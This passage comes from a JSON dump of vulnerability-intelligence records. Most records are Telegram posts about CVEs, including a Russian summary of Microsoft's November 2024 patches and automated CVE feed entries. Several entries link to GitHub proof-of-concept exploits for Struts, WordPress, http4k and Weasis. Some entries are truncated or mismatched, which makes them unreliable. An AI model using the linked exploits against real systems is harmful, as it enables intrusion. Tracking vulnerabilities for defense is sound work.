\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c\u0438 IP-\u0430\u0434\u0440\u0435\u0441\u0430\u043c\u0438.\n\n#\u043d\u043e\u0432\u043e\u0441\u0442\u0438 #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 @\u041f2\u0422", "creation_timestamp": "2025-01-15T16:33:02.000000Z"}, {"uuid": "3149fcb1-4d27-4331-8a50-99d20b8c5ee1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5535", "type": "seen", "source": "https://t.me/kasperskyb2b/1499", "content": "\ud83d\udcbb \u041d\u043e\u044f\u0431\u0440\u044c\u0441\u043a\u0438\u0439 \u0432\u0442\u043e\u0440\u043d\u0438\u043a \u043f\u0430\u0442\u0447\u0435\u0439: \u0438\u0434\u0451\u043c \u043d\u0430 \u0440\u0435\u043a\u043e\u0440\u0434?\n\n\u0421\u0432\u0435\u0436\u0435\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 Microsoft \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 92 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0434\u0432\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0432\u0436\u0438\u0432\u0443\u044e \u0438 \u0447\u0435\u0442\u044b\u0440\u0435 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0451\u043d\u043d\u044b\u0435 \u0434\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f. \u0427\u0435\u0442\u044b\u0440\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u043c\u0435\u044e\u0442 \u0441\u0442\u0430\u0442\u0443\u0441 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445. 52 \u0434\u0435\u0444\u0435\u043a\u0442\u0430 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u043b\u0438 \u043a  RCE, 26 \u2014 \u043a \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439,  1 \u2014 \u043a \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u0436\u0435 \u0435\u0441\u0442\u044c 4 DoS \u0438 2 \u043e\u0431\u0445\u043e\u0434\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u0412 \u0446\u0435\u043b\u043e\u043c \u0437\u0430 \u044d\u0442\u043e\u0442 \u0433\u043e\u0434 \u0420\u0435\u0434\u043c\u043e\u043d\u0434 \u0432\u044b\u043a\u0430\u0442\u0438\u043b \u0443\u0436\u0435 \u043f\u043e\u0447\u0442\u0438 950 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0442\u0430\u043a \u0447\u0442\u043e \u043f\u043e\u0441\u043b\u0435 \u0434\u0435\u043a\u0430\u0431\u0440\u044c\u0441\u043a\u043e\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0433\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0440\u0435\u043a\u043e\u0440\u0434\u043d\u044b\u043c \u043f\u043e \u0447\u0438\u0441\u043b\u0443 \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0445 \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0451\u043d\u043d\u044b\u0445 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432.\n\n\u0412 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f:\nCVE-2024-43451 (CVSS 6.5) \u2014 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0439 \u043f\u0440\u0438\u0432\u0435\u0442 \u043e\u0442 Internet Explorer, \u0443\u0442\u0435\u0447\u043a\u0430 \u0445\u044d\u0448\u0435\u0439 NTLMv2 \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 MSHTML. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0434\u043e\u043b\u0436\u0435\u043d \u043a\u043b\u0438\u043a\u043d\u0443\u0442\u044c \u043d\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0444\u0430\u0439\u043b (\u043d\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u044c, \u0430 \u043f\u0440\u043e\u0441\u0442\u043e \u0432\u044b\u0431\u0440\u0430\u0442\u044c \u0435\u0433\u043e).\nCVE-2024-49039 (CVSS 8.8)\u2014 \u043f\u043e\u0431\u0435\u0433 \u0438\u0437 AppContainer,  \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e Medium integrity.\n\u041f\u0440\u043e \u043e\u0431\u0430 \u0434\u0435\u0444\u0435\u043a\u0442\u0430 \u043f\u043e\u043a\u0430 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e, \u043a\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u0438 \u043a\u0430\u043a \u0438\u0445 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b, \u043d\u043e \u0432\u0442\u043e\u0440\u043e\u0439 \u0431\u044b\u043b \u043d\u0430\u0439\u0434\u0435\u043d \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u043c\u0438 \u0433\u0440\u0443\u043f\u043f\u0430\u043c\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043e\u0434\u043d\u0430 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u2014 Google TAG, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u043e\u0431 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0448\u0438\u0440\u043e\u043a\u043e\u043c \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0438 \u044d\u0442\u043e\u0433\u043e \u0437\u0438\u0440\u043e\u0434\u0435\u044f \u043a\u0430\u043a\u0438\u043c\u0438-\u0442\u043e \u043a\u0440\u0443\u043f\u043d\u044b\u043c\u0438 APT.  \n\n\u0420\u0430\u0437\u0433\u043b\u0430\u0448\u0451\u043d\u043d\u044b\u043c\u0438 Microsoft \u0441\u0447\u0438\u0442\u0430\u0435\u0442\nCVE-2024-49019 (CVSS 7.8) EoP \u0432 Active Directory Certificate Service, \u043e\u043d\u0430 \u0436\u0435 EKUwu.\nCVE-2024-49040 (CVSS 7.5) spoofing \u0432 Exchange. \u041f\u0438\u0441\u044c\u043c\u0430 \u0441 \u043d\u0435\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u043c \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u043c P2 FROM \u043c\u043e\u0433\u0443\u0442 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0442\u044c\u0441\u044f \u0441 \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u043c \u0430\u0434\u0440\u0435\u0441\u043e\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044f. Microsoft \u0441\u0447\u0438\u0442\u0430\u0435\u0442, \u0447\u0442\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u044d\u0442\u043e\u0433\u043e \u0434\u0435\u0444\u0435\u043a\u0442\u0430 \u043d\u0435 \u0437\u0430 \u0433\u043e\u0440\u0430\u043c\u0438 \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439. \n\n\u0412\u043f\u0440\u043e\u0447\u0435\u043c, ZDI \u0441\u0447\u0438\u0442\u0430\u044e\u0442 \u0442\u0430\u043a\u0436\u0435 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u043c\u0438 \u0435\u0449\u0451 \u0434\u0432\u0430 CVE \u0438\u0437 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f:\n\u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e RCE \u0432 .NET \u0438 VSCode (CVE-2024-43498, CVSS 9.8) \u0438 RCE \u0432 OpenSSL ( CVE-2024-5535, CVSS 9.2).\n\n\u0421\u0440\u0435\u0434\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u0431\u044b\u043b\u0438 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u044b, \u043c\u0443\u0440\u0430\u0448\u043a\u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 CVE-2024-43639, RCE \u0432 Kerberos \u0441\u043e \u0441\u043a\u0440\u043e\u043c\u043d\u044b\u043c CVSS 9.8 \u2014 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0432\u0441\u0435 Windows Server, \u043a\u043e\u0434 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0441 \u0432\u044b\u0441\u043e\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438, \u0430 \u0432\u043e\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u043d\u0435 \u043d\u0443\u0436\u043d\u043e \u0434\u0430\u0436\u0435 \u0431\u044b\u0442\u044c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c. \u041f\u0440\u0430\u0432\u0434\u0430, \u0420\u0435\u0434\u043c\u043e\u043d\u0434 \u043e\u0431\u043d\u0430\u0434\u0451\u0436\u0438\u0432\u0430\u0435\u0442, \u0447\u0442\u043e exploitation less likely.  \n\n#\u043d\u043e\u0432\u043e\u0441\u0442\u0438 #Microsoft @\u041f2\u0422", "creation_timestamp": "2024-11-13T10:53:26.000000Z"}, {"uuid": "527a81b1-968d-4e30-98bc-c2be9fb30379", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55211", "type": "seen", "source": "https://t.me/cvedetector/23275", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55211 - Think Router Tk-Rt-Wr135G Authentication Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-55211 \nPublished : April 17, 2025, 6:15 p.m. | 2\u00a0hours, 7\u00a0minutes ago \nDescription : An issue in Think Router Tk-Rt-Wr135G V3.0.2-X000 allows attackers to bypass authentication via a crafted cookie. \nSeverity: 8.4 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-17T23:01:16.000000Z"}, {"uuid": "abefdbce-5f9e-4014-ad23-6c681bed95e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55466", "type": "seen", "source": "https://t.me/cvedetector/25111", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55466 - ThingsBoard Image Gallery Remote Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-55466 \nPublished : May 12, 2025, 7:15 p.m. | 1\u00a0hour, 13\u00a0minutes ago \nDescription : An arbitrary file upload vulnerability in the Image Gallery of ThingsBoard Community, ThingsBoard Cloud and ThingsBoard Professional v3.8.1 allows attackers to execute arbitrary code via uploading a crafted file. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-12T22:48:36.000000Z"}, {"uuid": "974b5c2b-1461-4de9-8ff8-6b46c811516e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55581", "type": "seen", "source": "Telegram/rSFMCi0scNf0MtGdf4nYI8TvEbmMDdWrU0iaA1Lz25n9gBgp", "content": "", "creation_timestamp": "2025-03-11T04:41:13.000000Z"}, {"uuid": "705d5414-cd9f-4acf-b1de-bcafd5397d2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55968", "type": "seen", "source": "https://t.me/cvedetector/16654", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55968 - DTEX DEC-M Escalation of Privileges and XPC Connection Manipulation\", \n  \"Content\": \"CVE ID : CVE-2024-55968 \nPublished : Jan. 28, 2025, 10:15 p.m. | 1\u00a0hour, 26\u00a0minutes ago \nDescription : An issue was discovered in DTEX DEC-M (DTEX Forwarder) 6.1.1. The com.dtexsystems.helper service, responsible for handling privileged operations within the macOS DTEX Event Forwarder agent, fails to implement critical client validation during XPC interprocess communication (IPC). Specifically, the service does not verify the code requirements, entitlements, security flags, or version of any client attempting to establish a connection. This lack of proper logic validation allows malicious actors to exploit the service's methods via unauthorized client connections, and escalate privileges to root by abusing the DTConnectionHelperProtocol protocol's submitQuery method over an unauthorized XPC connection. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-29T01:29:08.000000Z"}, {"uuid": "734f150f-2746-44e9-b531-96b7bc704965", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55564", "type": "seen", "source": "https://t.me/cvedetector/12345", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55564 - \"PHPosexy Execve Buffer Overflow\"\", \n  \"Content\": \"CVE ID : CVE-2024-55564 \nPublished : Dec. 9, 2024, 2:15 a.m. | 27\u00a0minutes ago \nDescription : The POSIX::2008 package before 0.24 for Perl has a potential _execve50c env buffer overflow. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T03:49:22.000000Z"}, {"uuid": "6a6e8806-9d9b-4a6b-b677-0dbda97c9f03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55371", "type": "seen", "source": "https://t.me/cvedetector/23179", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55371 - Wallos File Upload RCE Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55371 \nPublished : April 16, 2025, 9:15 p.m. | 30\u00a0minutes ago \nDescription : Wallos &lt;=\nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-17T00:25:55.000000Z"}, {"uuid": "c89ad556-4ef4-4af8-8667-280441508fc7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55372", "type": "seen", "source": "https://t.me/cvedetector/23178", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55372 - Apache Wallos File Upload Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55372 \nPublished : April 16, 2025, 9:15 p.m. | 30\u00a0minutes ago \nDescription : Wallos &lt;=2.38.2\nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-17T00:25:54.000000Z"}, {"uuid": "50d2fdaf-25a3-4f40-9d0d-5e724cd68b52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55354", "type": "seen", "source": "https://t.me/cvedetector/22533", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55354 - Lucee Code Execution and Resource Access\", \n  \"Content\": \"CVE ID : CVE-2024-55354 \nPublished : April 8, 2025, 10:15 p.m. | 1\u00a0hour, 25\u00a0minutes ago \nDescription : Lucee before 5.4.7.3 LTS and 6 before 6.1.1.118, when an attacker can place files on the server, is vulnerable to a protection mechanism failure that can let an attacker run code that would be expected to be blocked and access resources that would be expected to be protected. \nSeverity: 5.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-09T01:43:19.000000Z"}, {"uuid": "38410e25-83ca-4a20-8c40-cd7ea3f4a9f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55895", "type": "seen", "source": "https://t.me/cvedetector/21509", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55895 - IBM InfoSphere Information Server Information Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55895 \nPublished : March 29, 2025, 1:15 p.m. | 2\u00a0hours, 12\u00a0minutes ago \nDescription : IBM InfoSphere Information Server 11.7 could allow a remote attacker to obtain sensitive information when a detailed technical error message is returned in the browser.  This information could be used in further attacks against the system. \nSeverity: 2.7 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-29T17:10:02.000000Z"}, {"uuid": "0d2efbd4-f3b3-4e2b-8751-253bfb8ce45b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55070", "type": "seen", "source": "https://t.me/cvedetector/21339", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55070 - Hay-Kot Mealie Broken Object Level Authorization Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55070 \nPublished : March 27, 2025, 8:15 p.m. | 1\u00a0hour, 37\u00a0minutes ago \nDescription : A Broken Object Level Authorization vulnerability in the component /households/permissions of hay-kot mealie v2.2.0 allows group managers to edit their own permissions. \nSeverity: 3.1 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-27T23:20:52.000000Z"}, {"uuid": "cae72d04-4236-4a0c-bba5-eb3f376da5ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55073", "type": "seen", "source": "https://t.me/cvedetector/21336", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55073 - \"Mealie Object Level Authorization Bypass\"\", \n  \"Content\": \"CVE ID : CVE-2024-55073 \nPublished : March 27, 2025, 7:15 p.m. | 28\u00a0minutes ago \nDescription : A Broken Object Level Authorization vulnerability in the component /api/users/{user-id} of hay-kot mealie v2.2.0 allows users to edit their own profile in order to give themselves more permissions or to change their household. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-27T20:50:27.000000Z"}, {"uuid": "5bca22f3-abdd-4b88-8bec-c2c196e810f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55072", "type": "seen", "source": "https://t.me/cvedetector/21335", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55072 - Hay-Kot Mealie Object Level Authorization Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-55072 \nPublished : March 27, 2025, 7:15 p.m. | 28\u00a0minutes ago \nDescription : A Broken Object Level Authorization vulnerability in the component /api/users/{user-id} of hay-kot mealie v2.2.0 allows users to edit their own profile in order to give themselves more permissions or to change their household. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-27T20:50:27.000000Z"}, {"uuid": "e18dce83-1b08-409b-ad3b-5a45c1e1a340", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55965", "type": "seen", "source": "https://t.me/cvedetector/21244", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55965 - Appsmith Information Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55965 \nPublished : March 26, 2025, 9:15 p.m. | 1\u00a0hour, 33\u00a0minutes ago \nDescription : An issue was discovered in Appsmith before 1.51. Users invited as \"App Viewer\" incorrectly have access to development information of a workspace (specifically, a list of datasources in a workspace they're a member of). This information disclosure does not expose sensitive data in the datasources, such as database passwords and API Keys. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-26T23:56:07.000000Z"}, {"uuid": "bff09c09-fa4d-4c57-b3dd-e51fed107738", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55953", "type": "seen", "source": "https://t.me/cvedetector/20246", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-27103 - DataEase File Deserialization Bypass\", \n  \"Content\": \"CVE ID : CVE-2025-27103 \nPublished : March 13, 2025, 5:15 p.m. | 43\u00a0minutes ago \nDescription : DataEase is an open source business intelligence and data visualization tool. Prior to version 2.10.6, a bypass for the patch for CVE-2024-55953 allows authenticated users to read and deserialize arbitrary files through the background JDBC connection. The vulnerability has been fixed in v2.10.6. No known workarounds are available. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-13T19:48:26.000000Z"}, {"uuid": "7c4b5dbf-dd3b-486a-b83c-932c0ae33137", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55875", "type": "published-proof-of-concept", "source": "https://t.me/HackerArsenal/750", "content": "https://github.com/JAckLosingHeart/CVE-2024-55875\n\nCVE-2024-55875 | GHSA-7mj5-hjjj-8rgw | http4k first CVE\n#github #exploit", "creation_timestamp": "2024-12-18T10:36:45.000000Z"}, {"uuid": "0a6e72d6-e3df-431a-aee5-2a7f7baca3a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55875", "type": "published-proof-of-concept", "source": "https://t.me/HackerArsenal/747", "content": "#exploit\n1. CVE-2024-53677:\nCritical Apache Struts RCE\nhttps://github.com/TAM-K592/CVE-2024-53677-S2-067\n\n2. CVE-2024-10793:\nWP Activity Log plugin XSS\nhttps://github.com/windz3r0day/CVE-2024-10793\n\n3. CVE-2024-55875:\nKotlin HTTP XXE/SSRF\nhttps://github.com/JAckLosingHeart/CVE-2024-55875", "creation_timestamp": "2024-12-16T17:31:59.000000Z"}, {"uuid": "42234b90-47b9-49b6-8292-fa22d9a71100", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55557", "type": "published-proof-of-concept", "source": "https://t.me/HackerArsenal/737", "content": "https://www.partywave.site/show/research/CVE-2024-55557%20-%20Weasis%204.5.1\n\nCVE-2024-55557 - Weasis 4.5.1\n\nhttps://github.com/partywavesec/CVE-2024-55557/blob/main/exploit.py\n\n#github #\u5206\u6790 #exploit", "creation_timestamp": "2024-12-14T15:35:40.000000Z"}, {"uuid": "3257f099-613f-43c5-a291-fcb17f9fc534", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55594", "type": "seen", "source": "https://t.me/cvedetector/20318", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55594 - Fortinet FortiWeb HTTP/S Command Injection\", \n  \"Content\": \"CVE ID : CVE-2024-55594 \nPublished : March 14, 2025, 5:15 p.m. | 19\u00a0minutes ago \nDescription : An improper handling of syntactically invalid structure in Fortinet FortiWeb at least vesrions 7.4.0 through 7.4.6 and 7.2.0 through 7.2.10 and 7.0.0 through 7.0.10 allows attacker to execute unauthorized code or commands via HTTP/S crafted requests. \nSeverity: 5.6 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-14T19:13:13.000000Z"}, {"uuid": "8f8f91aa-4bb4-40c7-bc16-ce74b41ef513", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55549", "type": "seen", "source": "https://t.me/cvedetector/20259", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55549 - Libxslt XSLT Use-After-Free Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55549 \nPublished : March 14, 2025, 2:15 a.m. | 16\u00a0minutes ago \nDescription : xsltGetInheritedNsList in libxslt before 1.1.43 has a use-after-free issue related to exclusion of result prefixes. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  